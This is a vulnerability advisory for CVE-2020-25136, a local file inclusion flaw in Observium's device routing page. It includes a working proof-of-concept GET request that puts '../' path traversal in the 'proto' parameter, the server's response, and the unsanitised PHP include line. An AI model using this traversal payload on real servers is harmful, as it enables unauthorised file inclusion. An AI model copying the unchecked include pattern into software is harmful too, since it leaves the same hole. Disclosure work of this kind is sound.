mariuszpoplawski / **CVE-2020-25136**

Created 2 years ago

CVE-2020-25136

```
CVE-2020-25136
-----------------------------------------
Authenticated Local File Inclusion in device/proto

-----------------------------------------
[Description]
Penetration test has shown that the application is vulnerable to local file inclusion due to the fact that there is an unrestricted possibi

-----------------------------------------

[Additional Information]


Example Request that allows to include .inc.php file even out of html/ web root directory.

GET /device/device=345/?tab=routing&proto=../../../../includes/polling/wmi HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: OBSID=a4ht2h4pbpncc6mt15chidcd8t59o1q2; observium_screen_ratio=2; observium_screen_resolution=1680x1050



Partial server response of included file /var/opt/observium/includes/pooling/wmi.inc.php (Out of web root directory that should never be re

HTTP/1.1 200 OK
Date: Wed, 19 Aug 2020 13:34:16 GMT
Strict-Transport-Security: max-age=63072000; includeSubdomains;
X-Frame-Options: DENY
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: OBSID=a4ht2h4pbpncc6mt15chidcd8t59o1q2; expires=Wed, 19-Aug-2020 14:04:17 GMT; Max-Age=1800; path=/; secure;HttpOnly;Secure
X-XSS-Protection: 1; mode=block
X-Permitted-Cross-Domain-Policies: none
Content-Security-Policy: sandbox allow-forms allow-scripts allow-same-origin;
X-Content-Type-Options: nosniff
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 1000644

WMI Poller:
    <div class="alert alert-danger">
      <div>The wmic binary was not found at the configured path (/usr/bin/wmic).</div>
    </div>
    <div class="alert alert-danger">
      <div>The wmic binary was not found at the configured path (/usr/bin/wmic).</div>
    </div>
    <div class="alert alert-danger">
      <div>The wmic binary was not found at the configured path (/usr/bin/wmic).</div>
    </div>
    <div class="alert alert-danger">
      <div>The wmic binary was not found at the configured path (/usr/bin/wmic).</div>
    </div>
    <div class="alert alert-danger">
      <div>The wmic binary was not found at the configured path (/usr/bin/wmic).</div>
    </div>
</div>
</div>







Below we present vulnerable code:

/var/opt/observium/html/pages/device/routing.inc.php
53:  include($config['html_dir']."/pages/device/routing/".$vars['proto'].".inc.php");



-----------------------------------------

[VulnerabilityType Other]
Local File Inclusion

-----------------------------------------

[Vendor of Product]
```

```
https://www.observium.org/

-----------------------------------------

[Affected Product Code Base]
Professional, Enterprise & Community 20.8.10631

-----------------------------------------

[Affected Component]
device -> routing

-----------------------------------------

[Attack Type]
Remote - authenticated users

-----------------------------------------

[Reference]
https://www.acunetix.com/blog/articles/local-file-inclusion-lfi/
https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing

-----------------------------------------

[Discoverer]
Mariusz Popławski

-----------------------------------------


Mariusz Popławski / AFINE.com team
```